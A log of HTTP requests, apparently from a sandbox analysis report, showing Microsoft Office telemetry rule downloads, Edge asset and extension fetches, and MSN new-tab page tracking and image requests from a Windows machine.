Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733122421&P2=404&P3=2&P4=Bm5KyWQl0z9aBxtBMjtlhHhzKchxQ1s%2fpvGWjKdWd0ZE7FdCJHjnvaIcXyi9Y7SAZlHa%2fiJm7CeiVOWSoiF8nA%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: mo2mtUNsb4O2RkZ1wOcc0BSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732517629969&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DA1B1BEC00C601118A0A4FCC1806184&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /extensionwebstorebase/v1/logextensionreliability?success=true&cv=mo2mtUNsb4O2RkZ1wOcc0B&errorString=&crxId=jmjflgjpcpepeafmmgdpfkogkghcpiha&os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=edgecrx&prodchannel=&prodversion=117.0.2045.55&lang=en-GB&acceptformat=crx3,puff HTTP/1.1Host: edge.microsoft.comConnection: keep-aliveScenario: UpdateSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=2DA1B1BEC00C601118A0A4FCC1806184&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9719eadb19864642fca01a396c8430dd HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732517629969&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DA1B1BEC00C601118A0A4FCC1806184&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1DBa317ad8b459c136021121732517631; XID=1DBa317ad8b459c136021121732517631
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732517629968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3caf3374baab4a08aa103de445967f78&activityId=3caf3374baab4a08aa103de445967f78&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=8A4B8D2CFE114BE7B8264D967968FD62&MUID=2DA1B1BEC00C601118A0A4FCC1806184 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2DA1B1BEC00C601118A0A4FCC1806184&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=ed4ac39e58334db4b8926810347335c1 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEr.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
